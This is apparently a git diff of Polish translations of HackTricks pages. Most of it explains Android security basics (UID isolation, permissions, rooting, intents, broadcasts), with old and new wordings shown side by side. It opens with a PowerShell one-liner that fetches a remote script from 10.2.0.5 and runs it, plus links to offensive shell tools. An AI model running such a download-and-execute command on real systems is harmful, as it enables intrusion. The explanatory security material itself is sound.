powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
|
||||
```
|
||||
**Wykryto złośliwy kod**
|
||||
**Wykryto jako złośliwy kod**
|
||||
|
||||
## Więcej
|
||||
|
||||
[PS>Attack](https://github.com/jaredhaight/PSAttack) Konsola PS z załadowanymi niektórymi ofensywnymi modułami PS (zaszyfrowane)\
|
||||
[PS>Attack](https://github.com/jaredhaight/PSAttack) Konsola PS z załadowanymi kilkoma ofensywnymi modułami PS (zaszyfrowane)\
|
||||
[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\
|
||||
WinPWN](https://github.com/SecureThisShit/WinPwn) Konsola PS z niektórymi ofensywnymi modułami PS i wykrywaniem proxy (IEX)
|
||||
WinPWN](https://github.com/SecureThisShit/WinPwn) Konsola PS z kilkoma ofensywnymi modułami PS i wykrywaniem proxy (IEX)
|
||||
|
||||
## Odwołania
|
||||
## Referencje
|
||||
|
||||
* [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/)
|
||||
* [https://gist.github.com/Arno0x](https://gist.github.com/Arno0x)
|
||||
|
@ -902,21 +461,13 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) Konsola PS z niektórymi ofens
|
|||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
|
||||
* [https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Znajdź najważniejsze podatności, aby szybko je naprawić. Intruder śledzi powierzchnię ataku, wykonuje proaktywne skanowanie zagrożeń, znajduje problemy w całym stosie technologicznym, od interfejsów API po aplikacje internetowe i systemy chmurowe. [**Wypróbuj go za darmo**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) już dziś.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć **reklamę swojej firmy w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
|
|
|
@ -2,11 +2,11 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
@ -14,129 +14,139 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Znajduj podatności, które mają największe znaczenie, aby móc je szybko naprawić. Intruder śledzi powierzchnię ataku, wykonuje proaktywne skanowanie zagrożeń, znajduje problemy we wszystkich technologiach, od interfejsów API po aplikacje internetowe i systemy chmurowe. [**Wypróbuj go za darmo**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) już dziś.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## Model bezpieczeństwa Androida
|
||||
|
||||
**Istnieją dwie warstwy:**
|
||||
|
||||
* **System operacyjny**, który izoluje zainstalowane aplikacje od siebie nawzajem.
|
||||
* **Sama aplikacja**, która umożliwia programistom **udostępnianie określonych funkcji** i konfigurację możliwości aplikacji.
|
||||
* **System operacyjny (OS)**, który izoluje zainstalowane aplikacje od siebie.
|
||||
* **Aplikacja sama w sobie**, która pozwala deweloperom **udostępniać określone funkcjonalności** i konfigurować zdolności aplikacji.
|
||||
|
||||
### Separacja UID
|
||||
|
||||
**Każdej aplikacji przypisywane jest określone ID użytkownika**. Dzieje się to podczas instalacji aplikacji, dzięki czemu aplikacja może interakcjonować tylko z plikami należącymi do jej ID użytkownika lub plikami udostępnionymi. Dlatego tylko sama aplikacja, niektóre komponenty systemu operacyjnego i użytkownik root mają dostęp do danych aplikacji.
|
||||
**Każda aplikacja jest przypisana określone ID użytkownika**. Jest to wykonywane podczas instalacji aplikacji, dzięki czemu **aplikacja może współdziałać tylko z plikami należącymi do swojego ID użytkownika lub plikami współdzielonymi**. Dlatego tylko sama aplikacja, pewne komponenty systemu operacyjnego i użytkownik root mogą uzyskać dostęp do danych aplikacji.
|
||||
|
||||
### Współdzielenie UID
|
||||
### Udostępnianie UID
|
||||
|
||||
**Dwie aplikacje mogą być skonfigurowane do korzystania z tego samego UID**. Może to być przydatne do współdzielenia informacji, ale jeśli jedna z nich zostanie skompromitowana, dane obu aplikacji zostaną naruszone. Dlatego zachowanie to jest **odradzane**.\
|
||||
**Aby współdzielić to samo UID, aplikacje muszą zdefiniować ten sam atrybut `android:sharedUserId` w swoich manifestach.**
|
||||
**Dwie aplikacje mogą być skonfigurowane do korzystania z tego samego UID**. Może to być przydatne do udostępniania informacji, ale jeśli jedna z nich zostanie skompromitowana, dane obu aplikacji zostaną naruszone. Dlatego to zachowanie jest **niezalecane**.\
|
||||
**Aby udostępnić to samo UID, aplikacje muszą zdefiniować tę samą wartość `android:sharedUserId` w swoich manifestach.**
|
||||
|
||||
### Izolacja
|
||||
|
||||
**Piaskownica aplikacji Android** pozwala uruchamiać **każdą aplikację** jako **oddzielny proces pod oddzielnym identyfikatorem użytkownika**. Każdy proces ma swoją własną maszynę wirtualną, więc kod aplikacji działa w izolacji od innych aplikacji.\
|
||||
Od wersji Androida 5.0(L) jest stosowany **SELinux**. W skrócie, SELinux odrzuca wszystkie interakcje między procesami, a następnie tworzy polityki, które **pozwalają tylko na oczekiwane interakcje między nimi**.
|
||||
Od wersji Android 5.0(L) jest stosowany **SELinux**. W skrócie, SELinux odrzuca wszystkie interakcje procesów, a następnie tworzy zasady, aby **zezwolić tylko na oczekiwane interakcje między nimi**.
|
||||
|
||||
### Uprawnienia
|
||||
|
||||
Podczas instalacji **aplikacji i żądania uprawnień**, aplikacja prosi o uprawnienia skonfigurowane w elementach **`uses-permission`** w pliku **AndroidManifest.xml**. Element **uses-permission** wskazuje nazwę żądanego uprawnienia w atrybucie **name**. Ma również atrybut **maxSdkVersion**, który przestaje prosić o uprawnienia w wersjach wyższych niż określona.\
|
||||
Należy zauważyć, że aplikacje Android nie muszą prosić o wszystkie uprawnienia na początku, mogą również **dynamicznie prosić o uprawnienia**, ale wszystkie uprawnienia muszą być **zadeklarowane** w manifeście.
|
||||
Podczas instalacji **aplikacji i prośby o uprawnienia**, aplikacja prosi o uprawnienia skonfigurowane w elementach **`uses-permission`** w pliku **AndroidManifest.xml**. Element **uses-permission** wskazuje nazwę żądanego uprawnienia w atrybucie **name**. Ma również atrybut **maxSdkVersion**, który przestaje prosić o uprawnienia w wersjach wyższych niż określona.\
|
||||
Zauważ, że aplikacje Android nie muszą prosić o wszystkie uprawnienia na początku, mogą również **prosić o uprawnienia dynamicznie**, ale wszystkie uprawnienia muszą być **zadeklarowane** w **manifest.**
|
||||
|
||||
Gdy aplikacja udostępnia funkcjonalność, może ograniczyć **dostęp tylko do aplikacji posiadających określone uprawnienie**.\
|
||||
Element uprawnienia ma trzy atrybuty:
|
||||
|
||||
* **Nazwa** uprawnienia
|
||||
* Atrybut **permission-group**, który umożliwia grupowanie powiązanych uprawnień.
|
||||
* Atrybut **permission-group**, który pozwala na grupowanie powiązanych uprawnień.
|
||||
* **Poziom ochrony**, który wskazuje, jak uprawnienia są udzielane. Istnieją cztery typy:
|
||||
* **Normalne**: Używane, gdy nie ma **znanych zagrożeń** dla aplikacji. Użytkownik **nie musi go zatwierdzać**.
|
||||
* **Niebezpieczne**: Wskazuje, że uprawnienie udziela żądającej aplikacji pewnego **podwyższonego dostępu**. **Użytkownicy są proszeni o zatwierdzenie**.
|
||||
* **Podpis**: Tylko **aplikacje podpisane tym samym certyfikatem co eksportujący komponent** mogą otrzymać uprawnienie. To jest najmocniejszy typ ochrony.
|
||||
* **Podpis lub system**: Tylko **aplikacje podpisane tym samym certyfikatem co eksportujący komponent lub aplikacje działające z dostępem na poziomie systemu** mogą otrzymać uprawnienia.
|
||||
* **Niebezpieczne**: Wskazuje, że uprawnienie nadaje żądającej aplikacji pewne **podwyższone uprawnienia**. **Użytkownicy są proszeni o ich zatwierdzenie**.
|
||||
* **Podpis**: Tylko **aplikacje podpisane tym samym certyfikatem co ta**, eksportująca komponent, mogą uzyskać uprawnienie. Jest to najmocniejszy typ ochrony.
|
||||
* **PodpisLubSystem**: Tylko **aplikacje podpisane tym samym certyfikatem co ta**, eksportująca komponent, lub **aplikacje działające z uprawnieniami na poziomie systemu** mogą uzyskać uprawnienia.
|
||||
|
||||
## Wstępnie zainstalowane aplikacje
|
||||
## Zainstalowane wstępnie aplikacje
|
||||
|
||||
Te aplikacje zazwyczaj znajdują się w katalogach **`/system/app`** lub **`/system/priv-app`**, a niektóre z nich są **zoptymalizowane** (możliwe, że nie znajdziesz nawet pliku `classes.dex`). Warto sprawdzić te aplikacje, ponieważ czasami działają zbyt wieloma uprawnieniami (jako root).
|
||||
Te aplikacje zazwyczaj znajdują się w katalogach **`/system/app`** lub **`/system/priv-app`**, a niektóre z nich są **zoptymalizowane** (możesz nawet nie znaleźć pliku `classes.dex`). Warto sprawdzić te aplikacje, ponieważ czasami działają zbyt wieloma uprawnieniami (jako root).
|
||||
|
||||
* Te dostarczone z **ROM-em** (Android OpenSource Project) **AOSP**
|
||||
* Dodane przez **producenta** urządzenia
|
||||
* Dodane przez **dostawcę** telefonu komórkowego (jeśli zakupione od nich)
|
||||
* Te dostarczone z **ROM-em AOSP** (Android OpenSource Project)
|
||||
* Dodane przez **producenta urządzenia**
|
||||
* Dodane przez **dostawcę telefonu komórkowego** (jeśli zakupione od nich)
|
||||
|
||||
## Rootowanie
|
||||
|
||||
Aby uzyskać dostęp do roota na fizycznym urządzeniu z systemem Android, zazwyczaj musisz **wykorzystać** 1 lub 2 **podatności**, które zwykle są **specyficzne** dla **urządzenia** i **wersji**.\
|
||||
Po udanym wykorzystaniu podatności, zazwyczaj binarny `su` systemu Linux jest kopiowany do lokalizacji określonej w zmiennej środowiskowej PATH użytkownika, na przykład `/system/xbin`.
|
||||
Aby uzyskać dostęp roota do fizycznego urządzenia z systemem Android, zazwyczaj trzeba **wykorzystać** 1 lub 2 **luki**, które zazwyczaj są **specyficzne** dla **urządzenia** i **wersji**.\
|
||||
Gdy exploit zadziała, zazwyczaj binarny `su` systemu Linux jest kopiowany do lokalizacji określonej w zmiennej środowiskowej PATH użytkownika, np. `/system/xbin`.
|
||||
|
||||
Po skonfigurowaniu binarnego su, inną aplikację Android można użyć do komunikacji z binarnym `su` i **przetwarzania żądań dostępu do roota**, takich jak **Superuser** i **SuperSU** (dostępne w sklepie Google Play).
|
||||
Po skonfigurowaniu binarnego su, inna aplikacja Android jest używana do interakcji z binarnym `su` i **przetwarzania żądań dostępu roota**, takich jak **Superuser** i **SuperSU** (dostępne w sklepie Google Play).
|
||||
|
||||
{% hint style="danger" %}
|
||||
Należy pamiętać, że proces rootowania jest bardzo niebezpieczny i może poważnie uszkodzić urządzenie
|
||||
Zauważ, że proces rootowania jest bardzo niebezpieczny i może poważnie uszkodzić urządzenie
|
||||
{% endhint %}
|
||||
|
||||
### ROM-y
|
||||
|
||||
Możliwe jest **zastąpienie systemu operacyjnego, instalując niestandardowe oprogramowanie**. Dzięki temu można rozszerzyć funkcjonalność starego urządzenia, ominąć ograniczenia oprogramowania lub uzyskać dostęp do najnowszego kodu Androida.\
|
||||
**OmniROM** i **LineageOS** to dwie z najpopularniejszych niestandardowych wersji oprogramowania.
|
||||
Możliwe jest **zastąpienie systemu operacyjnego instalując niestandardowe oprogramowanie**. Dzięki temu można rozszerzyć użyteczność starego urządzenia, ominąć ograniczenia oprogramowania lub uzyskać dostęp do najnowszego kodu Androida.\
|
||||
**OmniROM** i **LineageOS** to dwa z najpopularniejszych oprogramowań do użytku.
|
||||
|
||||
Należy zauważyć, że **nie zawsze jest konieczne zrootowanie urządzenia**, aby zainstalować niestandardowe oprogramowanie.
|
||||
Zauważ, że **nie zawsze jest konieczne zrootowanie urządzenia** do zainstalowania niestandardowego oprogramowania. **Niektórzy producenci pozwalają** na odblokowanie ich bootloaderów w sposób dobrze udokumentowany i bezpieczny.
|
||||
|
||||
### Konsekwencje
|
||||
|
||||
Po zrootowaniu urządzenia, dowolna aplikacja może żądać dostępu jako root. Jeśli złośliwa aplikacja to uzyska, będzie miała dostęp do prawie wszystkiego i będzie mogła uszkodzić telefon.
|
||||
|
||||
## Podstawy aplikacji Android <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
|
||||
|
||||
- Format aplikacji Android jest nazywany _formatem pliku APK_. Jest to w zasadzie **plik ZIP** (poprzez zmianę rozszerzenia pliku na .zip, zawartość można wypakować i przeglądać).
|
||||
- Zawartość APK (niepełna)
|
||||
- **AndroidManifest.xml**
|
||||
- resources.arsc/strings.xml
|
||||
- resources.arsc: zawiera skompilowane zasoby, takie jak binarne XML.
|
||||
- res/xml/files\_paths.xml
|
||||
- META-INF/
|
||||
- Tutaj znajduje się Certyfikat!
|
||||
- **classes.dex**
|
||||
- Zawiera kod bajtowy Dalvika, reprezentujący skompilowany kod Java (lub Kotlin), który aplikacja wykonuje domyślnie.
|
||||
- lib/
|
||||
- Zawiera biblioteki natywne, podzielone według architektury CPU w podkatalogach.
|
||||
- `armeabi`: kod dla procesorów opartych na ARM
|
||||
- `armeabi-v7a`: kod dla procesorów opartych na ARMv7 i nowszych
|
||||
- `x86`: kod dla procesorów X86
|
||||
- `mips`: kod tylko dla procesorów MIPS
|
||||
- assets/
|
||||
- Przechowuje różne pliki potrzebne przez aplikację, potencjalnie zawierające dodatkowe biblioteki natywne lub pliki DEX, czasami używane przez autorów złośliwego oprogramowania do ukrycia dodatkowego kodu.
|
||||
- res/
|
||||
- Zawiera zasoby, które nie są skompilowane do resources.arsc.
|
||||
### **Dalvik & Smali**
|
||||
|
||||
W rozwoju Androida do tworzenia aplikacji używa się **Javy lub Kotlinu**. Zamiast używać JVM jak w aplikacjach na komputery stacjonarne, Android kompiluje ten kod do **bajtkodu Dalvik Executable (DEX)**. Wcześniej, maszyna wirtualna Dalvik obsługiwała ten bajtkod, ale teraz w nowszych wersjach Androida przejmuje to Android Runtime (ART).
|
||||
W rozwoju aplikacji na Androida używa się **Javy lub Kotlinu**. Zamiast korzystać z JVM jak w aplikacjach na komputery stacjonarne, Android kompiluje ten kod do **Dalvik Executable (DEX) bytecode**. Wcześniej ten bytecode obsługiwała maszyna wirtualna Dalvik, ale teraz w nowszych wersjach Androida kontrolę przejmuje Android Runtime (ART).
|
||||
|
||||
W przypadku inżynierii wstecznej, kluczowe staje się **Smali**. Jest to czytelna dla człowieka wersja bajtkodu DEX, działająca jak język asemblera, tłumacząca kod źródłowy na instrukcje bajtkodu. Smali i baksmali odnoszą się do narzędzi montażu i demontażu w tym kontekście.
|
||||
|
||||
|
||||
***
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Znajdź najważniejsze podatności, aby szybko je naprawić. Intruder śledzi powierzchnię ataku, wykonuje skanowanie zagrożeń proaktywnych, znajduje problemy w całym stosie technologicznym, od interfejsów API po aplikacje internetowe i systemy chmurowe. [**Wypróbuj go za darmo**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) już dziś.
|
||||
|
||||
***
|
||||
W odwrotnej inżynierii kluczową rolę odgrywa **Smali**. Jest to czytelna dla człowieka wersja bytecode'u DEX, działająca jak język asemblera, tłumacząca kod źródłowy na instrukcje bytecode'u. Smali i baksmali odnoszą się do narzędzi montażu i demontażu w tym kontekście.
|
||||
|
||||
## Intents
|
||||
|
||||
Intents są podstawowym środkiem komunikacji między komponentami aplikacji Android lub innymi aplikacjami. Obiekty tych wiadomości mogą również przenosić dane między aplikacjami lub komponentami, podobnie jak w przypadku żądań GET/POST w komunikacji HTTP.
|
||||
Intents są głównym środkiem komunikacji między komponentami aplikacji na Androida lub z innymi aplikacjami. Obiekty tych wiadomości mogą również przekazywać dane między aplikacjami lub komponentami, podobnie jak w przypadku żądań GET/POST w komunikacji HTTP.
|
||||
|
||||
Więc Intents to w zasadzie **wiadomość przekazywana między komponentami**. Intents **mogą być skierowane** do konkretnych komponentów lub aplikacji, **lub mogą być wysyłane bez określonego odbiorcy**.\
|
||||
W skrócie, Intent może być używany:
|
||||
Więc Intent to w zasadzie **wiadomość przekazywana między komponentami**. Intents **mogą być skierowane** do konkretnych komponentów lub aplikacji, **lub mogą być wysyłane bez określonego odbiorcy**.\
|
||||
Aby to uprościć, Intent można użyć:
|
||||
|
||||
* Do uruchamiania Activity, zwykle otwierania interfejsu użytkownika dla aplikacji
|
||||
* Do uruchamiania Activity, zazwyczaj otwierając interfejs użytkownika aplikacji
|
||||
* Jako transmisje, informujące system i aplikacje o zmianach
|
||||
* Do uruchamiania, zatrzymywania i komunikacji z usługą w tle
|
||||
* Do uruchamiania, zatrzymywania i komunikowania się z usługą w tle
|
||||
* Do uzyskiwania dostępu do danych za pośrednictwem dostawców treści
|
||||
* Jako wywołania zwrotne do obsługi zdarzeń
|
||||
|
||||
Jeśli są podatne, **Intents mogą być wykorzystane do przeprowadzenia różnych ataków**.
|
||||
Jeśli są podatne, **Intents mogą być wykorzystane do przeprowadzenia różnorodnych ataków**.
|
||||
|
||||
### Intent-Filter
|
||||
|
||||
**Intent Filters** definiują **sposób interakcji między aktywnością, usługą lub odbiornikiem transmisji a różnymi typami Intents**. W zasadzie opisują one możliwości tych komponentów, takie jak jakie działania mogą wykonywać lub jakie rodzaje transmisji mogą przetwarzać. Głównym miejscem deklaracji tych filtrów jest plik **AndroidManifest.xml**, choć dla odbiorników transmisji możliwe jest również ich kodowanie.
|
||||
**Filtry Intents** definiują **jak aktywność, usługa lub odbiornik nadawany może współdziałać z różnymi typami Intents**. W zasadzie opisują one możliwości tych komponentów, takie jak jakie działania mogą wykonywać lub jakie rodzaje transmisji mogą przetwarzać. Głównym miejscem deklaracji tych filtrów jest plik **AndroidManifest.xml**, chociaż dla odbiorników nadawanych istnieje również możliwość ich kodowania.
|
||||
|
||||
Intent Filters składają się z kategorii, działań i filtrów danych, z możliwością dodania dodatkowych metadanych. Taka konfiguracja pozwala komponentom obsługiwać konkretne Intents, które pasują do zadeklarowanych kryteriów.
|
||||
Filtry Intents składają się z kategorii, działań i filtrów danych, z możliwością dodania dodatkowych metadanych. Taka konfiguracja pozwala komponentom obsługiwać konkretne Intents, które spełniają określone kryteria.
|
||||
|
||||
Krytycznym aspektem komponentów Androida (aktywności/usług/dostawców treści/odbiorców transmisji) jest ich widoczność lub **status publiczny**. Komponent jest uważany za publiczny i może współpracować z innymi aplikacjami, jeśli jest **`eksportowany`** z wartością **`true`** lub jeśli dla niego w manifestu jest zadeklarowany Intent Filter. Jednak deweloperzy mają możliwość utrzymania tych komponentów w trybie prywatnym, aby zapewnić, że nie będą one niezamierzenie współpracować z innymi aplikacjami. Można to osiągnąć, ustawiając atrybut **`eksportowany`** na **`false`** w definicjach manifestu.
|
||||
Krytycznym aspektem komponentów Androida (aktywności/usług/dostawców treści/odbiorców nadawanych) jest ich widoczność lub **status publiczny**. Komponent jest uważany za publiczny i może współdziałać z innymi aplikacjami, jeśli jest **`eksportowany`** z wartością **`true`** lub jeśli dla niego zadeklarowany jest filtr Intent w manifeście. Jednak deweloperzy mają możliwość jawnego zachowania tych komponentów jako prywatnych, zapewniając, że nie będą one niezamierzenie współdziałać z innymi aplikacjami. Można to osiągnąć, ustawiając atrybut **`eksportowany`** na **`false`** w ich definicjach manifestu.
|
||||
|
||||
Ponadto, deweloperzy mają możliwość dodatkowego zabezpieczenia dostępu do tych komponentów, wymagając określonych uprawnień. Atrybut **`permission`** może być ustawiony, aby wymusić, że tylko aplikacje z wyznaczonym uprawnieniem mogą uzyskać dostęp do komponentu, dodając dodatkową warstwę bezpieczeństwa i kontroli nad tym, kto może z nim współpracować.
|
||||
Co więcej, deweloperzy mają możliwość dodatkowego zabezpieczenia dostępu do tych komponentów, wymagając określonych uprawnień. Atrybut **`uprawnienie`** może być ustawiony, aby wymusić, że tylko aplikacje z wyznaczonym uprawnieniem mogą uzyskać dostęp do komponentu, dodając dodatkową warstwę bezpieczeństwa i kontroli nad tym, kto może z nim współdziałać.
|
||||
```java
|
||||
<activity android:name=".MyActivity" android:exported="false">
|
||||
<!-- Intent filters go here -->
|
||||
</activity>
|
||||
```
|
||||
### Implicite Intencje
|
||||
### Impliityte Intencje
|
||||
|
||||
Intencje są tworzone programowo za pomocą konstruktora Intencji:
|
||||
Intencje są tworzone programistycznie za pomocą konstruktora Intent:
|
||||
```java
|
||||
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
||||
```
|
||||
**Akcja** wcześniej zadeklarowanego zamiaru to **ACTION\_SEND**, a **Extra** to mailto **Uri** (Extra to dodatkowe informacje, których oczekuje zamiar).
|
||||
Akcja wcześniej zadeklarowanego intencji to **ACTION\_SEND**, a **Extra** to mailto **Uri** (Extra to dodatkowe informacje, których intencja oczekuje).
|
||||
|
||||
Ten zamiar powinien być zadeklarowany w manifestu, jak w poniższym przykładzie:
|
||||
Ta intencja powinna być zadeklarowana wewnątrz manifestu, jak w poniższym przykładzie:
|
||||
```xml
|
||||
<activity android:name="ShareActivity">
|
||||
<intent-filter>
|
||||
|
@ -145,13 +155,13 @@ Ten zamiar powinien być zadeklarowany w manifestu, jak w poniższym przykładzi
|
|||
</intent-filter>
|
||||
</activity>
|
||||
```
|
||||
Intent-filter musi pasować do **akcji**, **danych** i **kategorii**, aby otrzymać wiadomość.
|
||||
Intent-filter musi pasować do **działania**, **danych** i **kategorii**, aby otrzymać wiadomość.
|
||||
|
||||
Proces "rozwiązywania intencji" określa, która aplikacja powinna otrzymać każdą wiadomość. Proces ten uwzględnia atrybut **priorytetu**, który może być ustawiony w deklaracji **intent-filter**, a **wybrana zostanie ta z wyższym priorytetem**. Priorytet ten może być ustawiony w zakresie od -1000 do 1000, a aplikacje mogą używać wartości `SYSTEM_HIGH_PRIORITY`. Jeśli pojawi się **konflikt**, pojawia się okno "wyboru", w którym **użytkownik może zdecydować**.
|
||||
Proces "Rozstrzyganie intencji" określa, która aplikacja powinna otrzymać każdą wiadomość. Ten proces uwzględnia atrybut **priorytetu**, który może być ustawiony w deklaracji **intent-filter**, a **ten z wyższym priorytetem zostanie wybrany**. Priorytet ten można ustawić między -1000 a 1000, a aplikacje mogą używać wartości `SYSTEM_HIGH_PRIORITY`. Jeśli **wystąpi konflikt**, pojawia się okno "wyboru", dzięki czemu **użytkownik może zdecydować**.
|
||||
|
||||
### Jawne intencje
|
||||
|
||||
Jawna intencja określa nazwę klasy, do której jest skierowana:
|
||||
Jawna intencja określa nazwę klasy, do której jest kierowana:
|
||||
```java
|
||||
Intent downloadIntent = new (this, DownloadService.class):
|
||||
```
|
||||
|
@ -161,32 +171,32 @@ Intent intent = new Intent();
|
|||
intent.setClassName("com.other.app", "com.other.app.ServiceName");
|
||||
context.startService(intent);
|
||||
```
|
||||
### Oczekujące Intenty
|
||||
### Oczekujące Intencje
|
||||
|
||||
Pozwalają innym aplikacjom **wykonywać działania w imieniu Twojej aplikacji**, korzystając z tożsamości i uprawnień Twojej aplikacji. Konstruując Oczekujący Intent, należy **określić intencję i działanie do wykonania**. Jeśli **zadeklarowana intencja nie jest jawna** (nie określa, która intencja może ją wywołać), **złośliwa aplikacja może wykonać zadeklarowane działanie** w imieniu aplikacji ofiary. Ponadto, **jeśli nie jest określone żadne działanie**, złośliwa aplikacja będzie mogła wykonać **dowolne działanie w imieniu ofiary**.
|
||||
Pozwalają innym aplikacjom **wykonywać działania w imieniu twojej aplikacji**, korzystając z tożsamości i uprawnień twojej aplikacji. Konstruując Oczekującą Intencję, należy **określić intencję i działanie do wykonania**. Jeśli **zadeklarowana intencja nie jest jawna** (nie określa, która intencja może ją wywołać), **złośliwa aplikacja może wykonać zadeklarowane działanie** w imieniu aplikacji ofiary. Ponadto, **jeśli działanie nie jest określone**, złośliwa aplikacja będzie mogła wykonać **dowolne działanie w imieniu ofiary**.
|
||||
|
||||
### Intenty Rozgłoszeniowe
|
||||
### Intencje Rozgłoszeniowe
|
||||
|
||||
W przeciwieństwie do poprzednich intencji, które są odbierane tylko przez jedną aplikację, intencje rozgłoszeniowe **mogą być odbierane przez wiele aplikacji**. Jednak od wersji API 14, **można określić aplikację, która powinna otrzymać** wiadomość, używając Intent.set Package.
|
||||
W przeciwieństwie do poprzednich intencji, które są odbierane tylko przez jedną aplikację, intencje rozgłoszeniowe **mogą być odbierane przez wiele aplikacji**. Jednakże, począwszy od wersji API 14, jest **możliwe określenie aplikacji, która powinna otrzymać** wiadomość za pomocą Intent.setPackage.
|
||||
|
||||
Alternatywnie, przy wysyłaniu rozgłoszenia można **określić uprawnienie**. Aplikacja odbiorcza będzie musiała posiadać to uprawnienie.
|
||||
Alternatywnie, jest również możliwe **określenie uprawnienia podczas wysyłania rozgłoszenia**. Aplikacja odbiorcza będzie musiała posiadać to uprawnienie.
|
||||
|
||||
Istnieją **dwa rodzaje** rozgłoszeń: **Normalne** (asynchroniczne) i **Uporządkowane** (synchroniczne). **Kolejność** jest oparta na **ustawionym priorytecie wewnątrz elementu odbiorcy**. **Każda aplikacja może przetwarzać, przekazywać lub odrzucać rozgłoszenie**.
|
||||
Istnieją **dwa rodzaje** Rozgłoszeń: **Normalne** (asynchroniczne) i **Uporządkowane** (synchroniczne). **Kolejność** jest oparta na **skonfigurowanym priorytecie wewnątrz elementu odbiorcy**. **Każda aplikacja może przetwarzać, przekazywać lub odrzucać Rozgłoszenie**.
|
||||
|
||||
Można **wysłać** rozgłoszenie, używając funkcji `sendBroadcast(intent, receiverPermission)` z klasy `Context`.\
|
||||
Można również użyć funkcji **`sendBroadcast`** z **`LocalBroadCastManager`**, która zapewnia, że **wiadomość nigdy nie opuści aplikacji**. Dzięki temu nie będzie nawet konieczne eksportowanie komponentu odbiorcy.
|
||||
Możliwe jest **wysłanie** rozgłoszenia za pomocą funkcji `sendBroadcast(intent, receiverPermission)` z klasy `Context`.\
|
||||
Można również użyć funkcji **`sendBroadcast`** z **`LocalBroadCastManager`**, co zapewnia, że **wiadomość nigdy nie opuści aplikacji**. Dzięki temu nie będzie nawet konieczne eksportowanie komponentu odbiorcy.
|
||||
|
||||
### Trwałe Rozgłoszenia
|
||||
|
||||
Ten rodzaj rozgłoszeń **można uzyskać dostęp do nich długo po ich wysłaniu**.\
|
||||
Zostały one oznaczone jako przestarzałe w poziomie API 21 i **nie zaleca się ich używania**.\
|
||||
**Pozwalają dowolnej aplikacji na podsłuchanie danych, ale także na ich modyfikację**.
|
||||
Ten rodzaj Rozgłoszeń **może być dostępny długo po ich wysłaniu**.\
|
||||
